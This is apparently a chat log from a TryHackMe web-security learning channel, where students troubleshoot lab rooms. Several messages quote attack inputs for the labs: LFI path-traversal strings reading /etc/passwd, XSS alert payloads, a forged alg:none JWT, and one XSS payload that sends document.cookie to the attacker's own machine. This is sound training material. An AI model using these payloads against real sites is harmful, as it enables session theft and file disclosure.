[unreal quail]

I have 3 tasks left in the room which are pretty simple and I know how to do them. The flags just wont appear for them. I have already had a dig around for writeups last night after 2 hours of trying to get the flags. All the write ups are old. The instructions in the write ups are the exact same as they are in the room. The flags are old though.

@halcyon imp appreciate the replies.

[rose sphinx]

Did you check the scorecard? I was able to get the flags that weren't appearing from there

[sour quiver]

Hi can anyone help me i am stuck

[short wave]

If you describe where you are stuck and the room, folks will surely help out.

[royal grove]

I am currently stuck on question # 2, perform a persistent XSS! and Question #3, perform a relfected XSS from the task "Where did that come from". It appears that the reason for my inability to complete these two questions sucessfully may be due to using Caido instead of Burpsuite to undertake the work of the proxy. Is there anyone out there who is currently using Caido on either of these two tasks. I would use Burpsuite but I find Caido a much better application and up until now it has been working perfectly. 🤔

[honest path]

Guys...can someone help me...the system keeps saying that my answer is wrong in owasp juice shop injection attack, I know my answer is correct,I've checked it with YouTube also, I've completed 96% of the path and I'm stuck here 🥀

[pliant bane]

Help me decide to focus on learning web development first, because I often get confused when studying cybersecurity and application security

[short wave]

What field are you looking at down the line? If your interest is on application security, learning coding or development will certainly be helpful

[royal grove]

Hi everyone, so I have tried this morning to complete the upload vulnerabilities room in try hack me and I have done to the letter everything task 1 has asked me to do, even going as far as completing the Networking room they suggest you complete before commencing this task and I have also added the lines suggested, including the correct IP address to the /etc/hosts file in nano and saved that correctly but it still will not let me connect to the machine. Am I missing something here? 🤔

[short wave]

What attack machine are you using - Attackbox or local VM (kali, parrot, arch, etc.)?

[royal grove]

Hi, well I have used both my own VM and the attack box. When I have used my own VM the page it takes me to is a google search page which contains lots of articles about the actual room I am doing. When I try to connect using the Attack Box I have referred to a page which states that I need to read task one and connect to one of the several domains which I have configured the /etc/hosts file with.

Hi sorry, for reference I am running kali linux on my own VM.

The irony I suppose is the instructions you are provided with in task one where we are told that Discord users reserve the right to ignore anyone who skips over the instructions and then cannot connect. I have read, understood and carried out exactly the instructions I was given and I still cannot connect. I am wondering if they have left something out of the instructions. I have been meticulous in configuring the /etc/hosts file as per the instructions on each occasion.

[royal grove]

Well I never! I have been adding the domains (together with the IP address of the vulnerable machine) to the end of the /etc/hosts file which is what we are told in the instructions, and I quote "Add the following line in at the end of the file:" is what the instructions state. I have just decided to insert the line after the local host address and before the IPV6 configuration lines and I have successfully connected. Anyone out there who has had the same issues as me may need to re-configure the /etc/hosts file in the same way. Although I am amazed as to why it should actually matter where in the file it actually goes and would have thought that so long as the line is correct it could go at the end, (as per the instructions) or anywhere else.

[wooden herald]

Iv put the added in all sorts of areas in the file and still not connected. its a shame its the last thing i have to do now and dont want to revert to getting the answers from YouTube because I cant get it to work.:( EDIT - today i tryed and it just worked 🤯

[mild quarry]

Hi guys,
I'm working on SQL Injection room Task 7. I was wondering if there's a method to automate the '%' cycle to find the correct database name? Without manually trying each alphabet, number, and symbol one by one.

[amber knot]

Hi guys, I'm facing the same issue since yesterday night. The first time it worked without any trouble for me with adding hosts mapping to /etc/hosts. But since yesterday night I'm trying to do the same thing but I cannot connect to the vhosts. When I ping annex.uploadvulns.thm I get a response from overwrite.uploadvulns.thm, but I cannot access to overwrite.uploadvulns.thm . I tried to shutdown the vulnerable machine and my attackbox and edit again /etc/hosts but still get same problem.

[mint ibex]

hi bro ! i've the same issue since the cloudflare problems onthe upload vulnerability room, i think is the same room that's u've encounter problems
even if we add IP and all the vhosts in the /etc/hosts file, we can't acces to the vhosts, just the first page and that's all...
I think we must wait a little bit

[amber knot]

Yes I'm on the upload vulnerability room. Ok thanks for you feedback, let's wait then

[tiny zenith]

Gave +1 Rep to @mint ibex (current: #3265 - 1)

[mint ibex]

if the issue still the same until tommorrow i will contact support team to have more informations

[amber knot]

keep me in touch bro

[mint ibex]

👍

[mint ibex]

it's up brother, if u want to continue ur hacking training day 🙂

[magic briar]

guys, has anyone done Pickle rick challenge, thm won't pick up the flag for question 1 even though i viewed the file like 100 times

[mint ibex]

have u restart vm ? if u don't try it, sometimes it works

[magic briar]

i have restarted it and did the task again, still nothing happened

[soft carbon]

I need an intership for pentester

What can I do for this

[lilac folio]

if someone morrocan here

[mighty gulch]

anyone else have issues with burp browser just in eternal limbo when trying to open a url on the attackbox? Going directly to firefox works fine with the same url. I'm in the exploiting race conditions room for reference. Will probably just come back to this room later on in my journey

[lavish loom]

I've been having the same issue for the race conditions room as well. I've been trying to figure it out for the last 2 days with no luck. If you figure it out man, please let me know.

[brave fox]

just to be 100% sure, is Intercept activated or deactivated when trying to access the site via burp browser?

since if activated the request will hang in the proxy until you forward it. Eternal limbo 🙂

[lavish loom]

That makes sense. So another words, keep deactivated until the page is loaded, then activate and refresh webpage for burp to capture?

Or activate before hitting login when trying to capture login attempt?

[brave fox]

exactly. Everytime it's activated all requests will get stuck within Burp for you to edit and/or forward.

Even if it's deactivated you will be able to scroll through the browsing traffic/history in Proxy > HTTP history. Convenient if you realise you wanted an older request or so to read/manipulate/resend

[lavish loom]

Thank you I appreciate it 🤙🏼

[grand marlin]

Pls am looking for a cyber security mentor,am in need of someone to work with,help while growing myself

[mighty gulch]

@brave fox @lavish loom amazing! Thanks friends! I haven't tested it yet, but thank you for prompting this a little more and giving things to explore and think about. Little busy today and prioritizing the advent calendar lol, but will get to it soon

[tiny zenith]

Gave +1 Rep to @brave fox (current: #440 - 17)

Gave +1 Rep to @lavish loom (current: #2188 - 2)

[ancient swan]

https://tenor.com/view/monkey-gif-19600739

[lavish loom]

I'm having issues with Burp Suite in the OWASP Juice Shop module. I'm able to get all the way to the point where you start the attack in Task # 4.

Once I start the attack and it goes to the part where I'm supposed to filter out, I get a notification stating that burp suite community is limited and just shows a preview. If I push okay, or the x to exit notification, I'm unable to do anything at all to even be able to complete the room.

Any help or direction with this would be highly appreciated 🙏🏼 If I need to go through the tasks and supply screenshots, let me know and I'll DM.

I'm also trying to complete the task through the AttackBox. If that makes a difference, let me know lol.

[short wave]

Is this the Spider feature?

[fathom pelican]

#junior-pentester-path Penetration-Tester

[spark flume]

Interested

[spark flume]

I can help you with that

[calm forge]

@nocturne trout I'm finding it difficult connecting via RDP ,I don't know the computer name I ought to use in Active Directory basics under Managing Users in AD

[upbeat bone]

@calm forge which room are you doing?

You could dm me if you need help!

[patent grove]

@royal flower here it seems very common

[royal flower]

no fixes? damn

[patent grove]

Lets use the search bar to search for a solution here

No solution, @royal flower .

[royal flower]

everyone was happy with doing ts in the browser lol

[patent grove]

Yeah most likely

[forest forge]

Hi, has anyone recently done the RCE section in the upload vulnerabilities room?
It says to navigate to shell.uploadvulns.thm but when I try to load that page I get an error saying this site can't be reached.

Am I missing something?

[willow spire]

done

[short wave]

Were you able to access this now?

[forest forge]

Yes. There were instructions about DNS configs on a local file which I had missed.

[thorn condor]

Hi @nocturne trout & @limber sable ,
I am not getting the desired page for solving the room Upload Vulnerabilities . Can you help me with it?
Issue: i am not able to visit the vhosts provided for solving the room. And is getting the default page as show in the snapshots.

[weak solstice]

target the Ip 10.10.123.45
Edit the Hosts File with Linux
sudo nano /etc/hosts
Add the vhosts given in the room, for example:
10.10.123.45 uploadvulns.thm
10.10.123.45 admin.uploadvulns.thm
10.10.123.45 shell.uploadvulns.thm

[rose pine]

Hi guys, i have challenge here i have no idea how to differentiate between a failed and successful logins on the web application?

[short wave]

Which THM room is this?

[rose pine]

Challenge room after molly room

[craggy schooner]

Hi everyone, I just finished the Web Fundamentals path and I’d like to try some CTFs to test what I’ve learned. Do you have any recommendations?
I was browsing the list of CTFs, but they seem to cover a wide range of topics, so I’m not sure where to start

[short wave]

Just try to pick the easy ones and go from there. 🙂 You may need to look at a few write ups as you work on a first few boxes.

[wanton kraken]

I’d recommend doing the web app pentesting path first as they cover more realistic scenarios that’ll help you tremendously in CTF’s

[deep panther]

Hello everyone, i started with Web Fundamentals Path, I have fundamental knowledge of OS, Networking, Web Development. So if anyone interested we can connect and complete this path and then move on to get some real world experience through CTFs, BBP/VDP.

[fluid meadow]

Github

[deep panther]

??

[fluid meadow]

Is that really You dont know about github

[graceful estuary]

Hey everyone,
I'm stuck on File Inclusion - Local File Inclusion (LFI Continued), specifically Question #1 for Lab #3.
The question asks: "Give Lab #3 a try to read /etc/passwd. What is the request look like?"
I know we need to use the Null Byte to bypass the .php appending, but the answer box keeps rejecting my input or cuts it off.
I’ve tried:

/lab3.php?lang=../../../../../../etc/passwd%00
/lab3.php?lang=../../../../../etc/passwd%00
/lab3.php?lang=../../../../../../etc/passwd/

But none are being accepted. The input field seems to truncate the %00 part.
Has anyone recently completed Lab #3? What exact string did you submit for the request URI?
Any help would be appreciated!
Thanks in advance.

[ivory iris]

correct encoding is always a thing. i did it some time ago, but my memory ain't the best anymore. sometimes the ../ gets filtered out, so you have to double it.

please correct me, was it like ....// ???

[languid dirge]

Web Fundamentals learning path
https://tryhackme.com/path-action/web/join

The aim of this path is to teach you how to attack web applications. To successfully attack and exploit web applications, you need to understand how they work.

The first section (Web Fundamentals) will give you all the pre-requisite knowledge on this.

The second section (Security Tools) focuses on learning how to use Industry Standard tooling to interact with your targets.

The third section (Vulnerabilities) covers various vulnerabilities found in web applications today. This section will go over root causes of these vulnerabilities and give you hands on experience on exploiting them.

The final section (Practise Makes Perfect) will help you apply what you've learnt in previous sections.

After completing this path, you should be able to:
. understand how web applications work
. utilise industry standard tooling when attacking web applications
. explain and exploit common web vulnerabilities
. apply this knowledge to other targets (be it within an interview or a professional web applications security assessment)

[drifting needle]

:)

[north swan]

hi

LFI
Understand and exploit a web server that is vulnerable to the Local File Inclusion (LFI) vulnerability.

Getting user access via LFI

What is the user flag?

not sure why it is asking password

i tried edit the ssh key in the text editor. I guess that's not I am suppossed to do

please advise

[deft anvil]

ssh key must have special permissions, so set those permissions and you are good to go. ( i haven't done this room, so it could be something else too).

[orchid hazel]

@molten stag Is this for a THM room in the Web Fundamentals path?

[molten stag]

i am sorry if i posted in wrong section
but this one looks close

[orchid hazel]

This channel is for the THM Web Fundamentals path.

[molten stag]

ok then i am sorry

[azure mango]

hey, I am stuck on the introduction to Django Unit 3:
First I run django-admin startproject djangotest to create a project.
Then enter folder:cd djangotest
Then I create an app with python manage.py startapp testapp
Then I run cd djangotest again to go to a subfolder with the same name as the top folder.
Here I open settings.py and change the list INSTALLED_APPS to

    'testapp',
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
]

Then I go to urls.py in the same folder and change it to

from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path('testapp', include('testapp.urls')),
    path('admin/', admin.site.urls),
]```

Then I go back up to the top folder and try to run python3 migrate.py migrate
but I get this error

ModuleNotFoundError: No module named 'testapp.urls'

anybody know what's up with this?

[visual night]

I faced the same error. Apparently you need to add a urls.py to the app as well. Otherwise you get that error.

I followed the steps here > https://docs.djangoproject.com/en/2.2/intro/tutorial01/

[azure mango]

thanks, will check it out!

[ionic rose]

Hi, someone lately done room ? ZTH: Obscure Web Vulns

i'm stuck on JWT challenge

3.5

generating header with alg:none

payload changed to admin

no signature

put into cookie and reloded page , but that just throws me to login with error athentication failed

not sure what i'm doing wrong

[hard zenith]

I just did ZTH 3 earlier, will do 3.5 later today. I got stuck for a while because I didn't realize the payload portion changed with a new JWT

[hard zenith]

I ran into the same issue, I was forgetting the final period and to remove the '='s after I re-encoded. Also it seemed to crash the web server sometimes and I had to restart the box to get it going again, which meant I had to re-create my payload.

[ionic rose]

Yea had same issues but somehow got it worked

and completed the room

[supple glacier]

Got it done in quite good time. Really good path, it helped me alot, thanks!

[honest wadi]

Hi, I am a newbie, I am doing Django CTF and i am having a doubt, that, why the username and password given are not working for admin login but working for SSH login via terminal ? thank you

[orchid hazel]

They're for different services

[honest wadi]

Hi @orchid hazel , thank you for your response. I am provided with these credentials "Username: django-admin Password: roottoor1212" but its not mentioned that they are for django admin, and in all the 5 units SSH is never mentioned, so i was confused what to do with this credentials. So searching for hints online, i found we have to use SSH to get into the server first. Is it that the details given are for SSH but not admin ? and The credentials for SSH and admin will be different ? thank you so much.

[tiny zenith]

Gave +1 Rep to @orchid hazel

[north swan]

hello

https://tryhackme.com/room/zthobscurewebvulns

not really understand where I am going wrong with install

tried both,

no luck

[lyric rapids]

yo! I got a sort of fundamentals question. Im working on the UploadVulns room and it sets you up with a list of subdomains for your target IP. I was wondering, are all those subdomains on the same box? Like is the IP im using doing some kind of DNS to those domains?

[orchid hazel]

No, /etc/hosts is doing all the DNS like things

They're VHOSTs

[lyric rapids]

Oh duh, of course. It’s literally a list of names.

[orchid hazel]

The mechanism sending you to the different sites is VHOSTs
There's a bunch of docker containers, with one running a reverse proxy that directs you to the correct one based on the Host: header

[lyric rapids]

The flags being in the same www web root on different virtual hosts is trippin me out tho

[orchid hazel]

Separate container for each webapp

[lyric rapids]

Ah ok, docker containers

[orchid hazel]

Yee, it's super neat how it all works

[lyric rapids]

Thanks, and its all hosted on aws it looks like

[orchid hazel]

THM rooms all are

[lyric rapids]

Ah ok, I hadnt looked before this room

[orchid hazel]

It's fairly inconsequential

[lyric rapids]

The host file was what interested me

[lucid field]

Hi, I may have a problem with the XSS room (https://tryhackme.com/room/xss).
I'm at the 8th task "Filter Evasion". I can trigger a "Hello" alert with my payload but I don't receive the flag afterwards.

[lucid field]

Should I write the payload I used here ?

Alright, I just finished the XSS room using another approach but I still think it should have worked the 1-st time.

[lyric rapids]

In the Django room, Task 3
Anybody got a quick fix for the ModuleNotFoundError after changing the url.py ? this is the example snippet

had to add "include" to the import up top, I'm also in the main project folder

[reef topaz]

you should have a urls.py in the apps folder but yea i have cross-referenced it with the github report at task 4

[fickle heron]

I returned today after some days to finish my path and I've discovered that I have to do again Burp Suite but this time in many rooms

[nocturne schooner]

Trying to finish the ZAP room but the bruteforce task does not seem to work with any of the passwords from the fasttrack wordlist as is mentioned

tried with the usual hydra method as well and it gave the same result

any ideas as to what is wrong?

also the example images says "security=low" but the one I am getting is "security=impossible" and I cannot change it

[orchid hazel]

Change the security setting in the webapp otherwise it won't work

Room tells you to do that earlier on

[reef jasper]

don't know if this is the right room... can someone explain the difference between dirbuster and gobuster - dont they essentially just do the same thing (brute-force URLs directories/files)

[orchid hazel]

Correct

They're different implementations of the same concept

[orchid hazel]

-mute @elder goblet Spamming self promotion over every channel

[tiny zenith]

🔇 Muted WhiteDevil#5157 for 1 day

[unkempt bluff]

Stuck on a ques ... Anyone can help me out .. it is smh .. i am burp suite repeater on task 7 ... How to get a 500 internal server error

[strange radish]

What payloads have you tried?

[unkempt bluff]

Thank you .. but its done .. i literally used all ASCII characters for that 500 error but its done at the end

[tiny zenith]

Gave +1 Rep to @strange radish

[strange radish]

Glad to know 🙂

[broken canyon]

Hi, I'm confused about ECC encryption, I just can't find answers online.

Do I need to encrypt data manually or should I use HTTPS instead?
I'm using PHP back-end anyway, because it's on the requirements.

[tawny lantern]

I'm assuming you're building some kind of website? If so you should just use HTTPS, get a free cert from lets encrypt, set some sensible TLS configuration and you're done https://certbot.eff.org/ and https://ssl-config.mozilla.org/ should have all you need

if you wanna know more about ECC cloudflare has a pretty good primer: https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/

[broken canyon]

Thanks, it's much secure than encrypting it by myself, right?

I'm just going to share my stack.
The website that I'm building is build using JavaScript Framework, so it'll just consume PHP REST API.

[tiny zenith]

Gave +1 Rep to @tawny lantern

[tawny lantern]

yes, crypto is very hard to get right own you're own. If you can you should avoid at all cost to try to roll you're own.
The stack is totally fine, since you're running a webserver which has to serve the content to the clients. That webserver does all the heavy lifting for you, the javascript/php stuff doesn't really interact with HTTPS at all

[broken canyon]

Thank you sir tan.
Do I need to encrypt all the data before saving it to a relational database?
I read one research that they encrypt data using RSA before saving it to the database.

[tawny lantern]

that's another can of worms all together. HTTPS is encryption at transport, while storing something in a db would be encryption at rest (the data isn't moving around but stays in the database), for which you usually use a smmetric cipher (like AES) because it's faster. But I don't really know enough to give advice. From what I can tell the DBMS usually have encryption built in, e.g. MySQL https://dev.mysql.com/doc/refman/8.0/en/innodb-data-encryption.html

[broken canyon]

Thank you again sir tan. I'm going to check all of that resources that you've sent. Thank you.

[tiny zenith]

Gave +1 Rep to @tawny lantern

[orchid hazel]

The phrase you're looking for is encryption at rest

HTTPS does encryption in transit for you

[pale shale]

how can I get help with one room? the question from "How websites work" is not according with the video?

[broken canyon]

@tawny lantern and @orchid hazel . Seems like It requires me to use ECC both client and server. I already got a library in Javascript that can handle generation of public/private and calculation of shared key.

But I can't find library for PHP that can do the same.

[orchid hazel]

https://en.wikipedia.org/wiki/Transport_Layer_Security

[orchid hazel]

Just use TLS with HTTPS

[broken canyon]

That's also my solution, but it seems like they are requiring me to set it up manually.

[orchid hazel]

Who's they?

And this channel is for the tryhackme web fundamentals path

[broken canyon]

My profs, oh sorry do I messaged wrong channel?

[tawny lantern]

libsodium has a php binding: https://github.com/jedisct1/libsodium-php which should have support for ECC

[orchid hazel]

@tawny lantern @broken canyon Try #programming

[broken canyon]

Thanks sir @tawny lantern and sir @orchid hazel .

[tiny zenith]

Gave +1 Rep to @tawny lantern

[rare relic]

for someone taking this path to get into bug bounty/application security engineer, should I be learning web dev as well?

To get a better understanding?

and i guess the same question but for mobile testing as well

[eager wren]

I am a bit of a newbie in the IT security field, and while i try to go through the web fundamentals path i seem to have problems with the burp suite app. I try to run it on my personal Kali machine, though i can't open it. I don't get errors or any other problem, it just doesn't respond. Anyone else who have had the same issue and could give me a hand?

[rare relic]

What permissions are you running it under

Root?

[eager wren]

I'm just trying to open the desktop application. So I guess it's a regular user

[rare relic]

Huh

You try to run ps aux to see if anything is running when you attempt to open it? Like when you try to execute it does your cursor show that its loading but it’s not?

[eager wren]

It doesnt show that it is laoding. I can try to run top or ps aux to see if anything is running

[eager wren]

I created a new VM and it somehow worked. Seems like there is some sort of bug in my other machine which doesn't allow me to run Burp Suite

[rare relic]

Interesting

I’m glad to hear it’s better now!

[uneven hemlock]

Next time something like that happens you can go to the burpsuite site and try to use their install script to update to the latest. It might repair whatever was going wrong.

[rare relic]

Is there any benefit to using OWASP ZAP over GoBuster to find hidden browser paths?

[eternal nacelle]

In Filter Evasion Challenge 3 where Hello is filtered, I used <img src="" onerror="alert(String.fromCharCode(72, 101, 108, 108, 111))"> and got alert Hello but there is no flag received after it.

Again for challenge 4 <img src=q onclick="alert(String.fromCharCode(72, 101, 108, 108, 111))"> this payload prompts Hello

But I didn't receive any flag

[orchid hazel]

@elder goblet No

[shut helm]

Any help with burp suite repeter

[misty shadow]

You should just ask your question to what you need help with directly, if someone has an answer and is willing to help you will get a reply.

[shut helm]

Ok

[shut helm]

Burp suite: repeater task 8

[regal ferry]

Can you explain what you are having trouble with using Repeater?

[misty shadow]

Okay, but like I already said, please ask your question directly. Since yet you haven't explained what your issue is or asked a question regarding the issue you have?

[shut helm]

See if you can get the server to error out with a "500 Internal Server Error" code by changing the number at the end of the request to extreme inputs.

What is the flag you receive when you cause a 500 error in the endpoint?

This is the question

Task 7 challenge

https://tryhackme.com/room/burpsuiterepeater

[misty shadow]

Okay, previously you said task 8? But did you read the hint on that question of task 7? Also please supply an example of an extreme input you tried, so the full url.

[regal ferry]

IDOR + neg value = flag
is my hint

[shut helm]

Thanks but already have my answer

[tiny zenith]

Gave +1 Rep to @misty shadow

[regal ferry]

all good then?

[shut helm]

Yes broth

I hope to learn well about that

[fringe crystal]

hi i need some clarification on why this payload does not work and causes the website redirecting me and causing the browser to load the website
<script>window.location='http://<my-machine-ip>/cookie='+document.cookie</script>
while this one works just fine:
<img src="javascript:'/logs/'+window.cookie">

Thank you

[final compass]

hey everyone. im wondering if someone could help me out. im on task3 of intro to django

i followed the intructions but i was a whole bunch of python errors when i run python3 manage.py migrate

[misty shadow]

You might want to verify in order to be able to send screenshots, so it's easier to help if people can see the errors.

!docs verify

[reef vortex]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[fringe crystal]

Hi , can someone give me some explain to me my this payload is not working on evading filers in xss question three
<img src="j" onmouseover=window.confirm("Hell"+"o") />
when i run this it provides a popup saying hello but i dont get the flag

i was looking at a writeup which said this would work but also didnt work
<img src="j" onmouseover=window.confirm('HHelloello') />

[lucid crescent]

Hi Hamu,

Your payload indeed works. The problem is that the check on the server side seems to be only giving the flag for payloads with alert.

Try <img src="j" onmouseover=alert("Hell"+"o") /> and it should give you the flag.

[shut helm]

Hello

I need some help

In burp suite modules

[strange radish]

Just ask your query

[unreal dirge]

How can i run tplmap... Before running it .....the requirement. Txt should be installed but I couldn't install it ..
Is throwing some error...plz help

@strange radish, @lucid crescent, anyone plz help..